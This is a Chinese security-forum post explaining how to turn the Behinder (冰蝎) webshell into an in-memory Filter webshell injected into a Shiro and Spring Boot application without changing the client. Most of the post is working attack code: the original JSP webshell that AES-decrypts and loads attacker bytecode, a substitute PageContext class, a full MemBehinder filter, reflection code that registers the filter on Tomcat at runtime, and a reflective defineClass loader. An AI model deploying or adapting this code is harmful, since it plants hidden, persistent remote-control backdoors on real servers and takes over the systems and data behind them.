安全矩阵

 找回密码
 立即注册
搜索
查看: 5438|回复: 0

冰蝎改造之不改动客户端=>内存马

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-7-27 13:14:56 | 显示全部楼层 |阅读模式
前言
做了login me again之后,觉得很有趣,复现完之后开始想着怎么玩点骚的,在我们日常使用中,与其要做一个reGeorge(reGeorge mac内网不解析dns太坑了),实际上大马可能才是正在的需求,而开源工具中还是冰蝎大家最爱用,虽然现在被各种流量检测,但是各家都有自己的免杀手段,所以这里就简单的教大家如何把东西注入shiro+spring环境中(这个环境比较有代表性)
原始的马:

  1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
  2. <%!
  3.     class U extends ClassLoader {
  4.         U(ClassLoader c) {
  5.             super(c);
  6.         }

  7.         public Class g(byte[] b) {
  8.             return super.defineClass(b, 0, b.length);
  9.         }
  10.     }
  11. %><%
  12.     if (request.getParameter("pass") != null) {
  13.         String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
  14.         session.putValue("u", k);
  15.         out.print(k);
  16.         return;
  17.     }
  18.     Cipher c = Cipher.getInstance("AES");
  19.     c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
  20.     new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  21. %>
复制代码
代码美化之后不难发现,里面使用了Tomact中的PageContext,位于javax.servlet.jsp.PageContext,但是在Springboot中实现的是只有tomcat核心,也就是阉割版本的tomacat,恰好这个是没有的,因此这么获取成了关键
PS: 关于没有PageContext的解决方案,之前已经有了一篇文章https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ ,最大的问题是要修改客户端,对我们这样的菜鸡来说很难,而且还让自己的工具包变臃肿,本次不再改变客户端的情况,完成内存马的注入
改造开始
下面基于读者已经理解了,如何写入reGeorge内存马为基础,如有疑问,请去查看 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 以及login me again wp
  • 首先先了解冰蝎的执行思路

    • 密钥交换pass,pass存储在session中
    • AES解码后将传入的数据进行解码,解码后还原要加载的字节码,实例化后,调用equals函数,传入pageContext,通过pageContext带出回显

  1. String result = buildJson(entity, true);
  2.       String key = page.getSession().getAttribute("u").toString();
  3.       ServletOutputStream so = page.getResponse().getOutputStream();
  4.       so.write(Encrypt(result.getBytes(), key));
  5.       so.flush();
  6.       so.close();
复制代码
  • 于是乎我们对PageContxt的要求也就出来了

    • classname : javax.servlet.jsp.PageContext
    • 实现 setResponse() getResponse() getSession() setRequest() getResponse()
    • 这里的response就需要调用当前环境中的response,所以就拿最简单的ServeletRequest,好消息是getSession这个函数也是自带的,就很舒服,只需要cast一下即可。

最后的PageContext
  1. public class PageContext  {
  2.     ServletRequest request;
  3.     ServletResponse response;


  4.     public Writer getOut(){
  5.         return null;
  6.     }

  7.     public PageContext(ServletRequest request, ServletResponse response) {
  8.         this.request = request;
  9.         this.response = response;
  10.     }

  11.     public PageContext(){

  12.     }

  13.     public void setRequest(ServletRequest request) {
  14.         this.request = request;
  15.     }

  16.     public void setResponse(ServletResponse response){
  17.         this.response = response;
  18.     }

  19.     public HttpSession getSession() {
  20.         HttpServletRequest test = (HttpServletRequest) this.request;
  21.         return test.getSession();
  22.     }


  23.     public ServletRequest getRequest() {
  24.         return  this.request;
  25.     }


  26.     public ServletResponse getResponse() {
  27.         return this.response;
  28.     }

  29. }
复制代码
我们可以尝试注入一下,这里我起了一个简单的shiro+springboot的环境

image-20200723214821668
Ps:从github上直接找的环境,可能因为原生不带有commom-collection的包,所以无法打成功

image-20200723215145822
  • 这时候我们在VM中查看一下
    ​image-20200723215635157

发现我们成功注入了一个class,然后我天真的以为只需要像reGeorge一样,把代码复制进去即可
所以有了初始版本的Filter内存冰蝎
踩坑继续
  1. package reGeorg;

  2. import javax.servlet.*;
  3. import java.io.IOException;
  4. import javax.crypto.Cipher;
  5. import javax.crypto.spec.SecretKeySpec;
  6. import javax.el.ELContext;
  7. import javax.servlet.http.*;
  8. import javax.servlet.jsp.JspWriter;
  9. import javax.servlet.jsp.PageContext;
  10. import javax.servlet.jsp.el.ExpressionEvaluator;
  11. import javax.servlet.jsp.el.VariableResolver;
  12. import java.util.Enumeration;
  13. import java.util.UUID;

  14. public class MemBehinder implements javax.servlet.Filter{
  15.     @Override
  16.     public void init(FilterConfig filterConfig) throws ServletException {

  17.     }



  18.     @Override
  19.     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  20.         class User extends ClassLoader {
  21.             User(ClassLoader c) {
  22.                 super(c);
  23.             }

  24.             public Class getUsername(byte[] b) {
  25.                 return super.defineClass(b, 0, b.length);
  26.             }
  27.         }


  28.         HttpServletRequest request = (HttpServletRequest) servletRequest;
  29.         HttpServletResponse response = (HttpServletResponse) servletResponse;
  30.         HttpSession session = request.getSession();
  31.         response.setHeader("flora", "florasa!!!");
  32.         if (request.getParameter("pass") != null) {
  33.             String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
  34.             session.putValue("u", k);
  35.             response.getWriter().print(k);
  36.             return;
  37.         }
  38.         try{
  39.             PageContext pageContext = new PageContext(servletRequest,servletResponse);
  40.             Cipher c = Cipher.getInstance("AES");
  41.             SecretKeySpec sec = new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES");
  42.             c.init(2, sec);
  43.             String uploadString = request.getReader().readLine();
  44.             ClassLoader loader = this.getClass().getClassLoader();
  45.             User user = new User(loader);
  46.             byte[] username = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString));
  47.             Class username1 = user.getUsername(username);
  48.             username1.newInstance().equals(pageContext);
  49.         }catch (Exception ignored){
  50.             ;
  51.         }
  52.         filterChain.doFilter(request, response);

  53.     }

  54.     @Override
  55.     public void destroy() {

  56.     }
  57.     public boolean equals(Object obj) {
  58.         Object[] context = (Object[]) obj;
  59.         javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) context[0];
  60.         org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) context[1];
  61.         javax.servlet.http.HttpSession session = (javax.servlet.http.HttpSession) context[2];

  62.         try {
  63.             dynamicAddFilter(new MemBehinder(), "Behinder", "/*", request);
  64.         } catch (IllegalAccessException e) {
  65.             e.printStackTrace();
  66.         }

  67.         return true;
  68.     }

  69.     public static void dynamicAddFilter(javax.servlet.Filter filter, String name, String url, javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
  70.         javax.servlet.ServletContext servletContext = request.getServletContext();
  71.         if (servletContext.getFilterRegistration(name) == null) {
  72.             java.lang.reflect.Field contextField = null;
  73.             org.apache.catalina.core.ApplicationContext applicationContext = null;
  74.             org.apache.catalina.core.StandardContext standardContext = null;
  75.             java.lang.reflect.Field stateField = null;
  76.             javax.servlet.FilterRegistration.Dynamic filterRegistration = null;

  77.             try {
  78.                 contextField = servletContext.getClass().getDeclaredField("context");
  79.                 contextField.setAccessible(true);
  80.                 applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
  81.                 contextField = applicationContext.getClass().getDeclaredField("context");
  82.                 contextField.setAccessible(true);
  83.                 standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
  84.                 stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
  85.                 stateField.setAccessible(true);
  86.                 stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
  87.                 filterRegistration = servletContext.addFilter(name, filter);
  88.                 filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{url});
  89.                 java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
  90.                 filterStartMethod.setAccessible(true);
  91.                 filterStartMethod.invoke(standardContext, null);
  92.                 stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
  93.             } catch (Exception e) {
  94.                 ;
  95.             } finally {
  96.                 stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
  97.             }
  98.         }
  99.     }
  100. }
复制代码
报错汇总如下:
1. 无法new一个新的PageContext2. 无法调用class U中的方法
这时候回忆一下我们的流程:
1. 注入PageContext并实例化2. 注入冰蝎并实例化
但是我们要思考new是一个怎么样的过程

  1. 1.首先去JVM 的方法区中区寻找类的class对象,如果能找到,则按照定义生成对象,找不到则转2

  2. 2.加载类定义:类加载器(classLoader)寻找该类的 .class文件,找到后对文件进行分析转换为class对象存入方法区方便以后调用。

  3.     其中jdk 的class一般是在jvm启动时用启动类加载器完成加载,用户的class则是在用到的时候再加载。

  4.     Java中ClassLoader的加载采用了双亲委托机制,采用双亲委托机制加载类的时候采用如下的几个步骤:
  5. 1.  当前ClassLoader首先从自己已经加载的类中查询是否此类已经加载,如果已经加载则直接返回原来已经加载的类。
  6. 每个类加载器都有自己的加载缓存,当一个类被加载了以后就会放入缓存,等下次加载的时候就可以直接返回了。
  7. 2.  当前classLoader的缓存中没有找到被加载的类的时候,委托父类加载器去加载,父类加载器采用同样的策略,首先查看自己的缓存,然后委托父类的父类去加载,一直到bootstrp ClassLoader.
  8. 3.  当所有的父类加载器都没有加载的时候,再由当前的类加载器加载,并将其放入它自己的缓存中,以便下次有加载请求的时候直接返回。

  9. PS:方法区:在一个jvm实例的内部,类型信息被存储在一个称为方法区的内存逻辑区中。类型信息是由类加载器在类加载时从类文件中提取出来的。类(静态)变量也存储在方法区中

  10. 于是即使有了实例化的class,也不能使其在方法区有一席之地,但是他有没有文件,所以就无法被ClassLoader加载,也就导致了上述的问题
复制代码
解决方案
  • 自定义的类加载器:
    因为我们不能实例化自己的类加载器,所以我们就使用反射的方法,调用ClassLoard,不过这里也有一个坑点,就是抽象类,是不可以作为invoke()的第一个参数,所以要使用一个他的继承类作为替代品


  1.         Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod(
  2.                         "defineClass",
  3.                         byte[].class,
  4.                         int.class, int.class);
  5.                 method.setAccessible(true);
  6.     byte[] evilclass_byte = c.doFinal(evil_bytes);
  7.             Class evilclass = (Class) method.invoke(xxxxx.getClassLoader(),
  8.                     evilclass_byte,0,
  9.                     evilclass_byte.length);
复制代码
2.PageContext: 由于我们只有一个实例化的class,我的方案就是服用他,将他作为一个属性,注入到冰蝎马的实例过程中,即设置一个含参的构造方法
  1. public MemBehinder2(PageContext pageContext){
  2.        this.pageContext = pageContext;
  3.                     }
复制代码

  • 最后实现成果


image-20200723222617152
  • 出现密钥交互


image-20200723222916478
  • 连接成果


image-20200723223133705 总结
  • 冰蝎出现密钥交互,并不代表成功了,原因在于密钥交互的回显用的并不是PageContext,不能作为我们注入成功的依据
  • 学会研究报错,报错会告诉我们哪里出了问题
  • FB师傅tql



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 00:48 , Processed in 0.013155 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表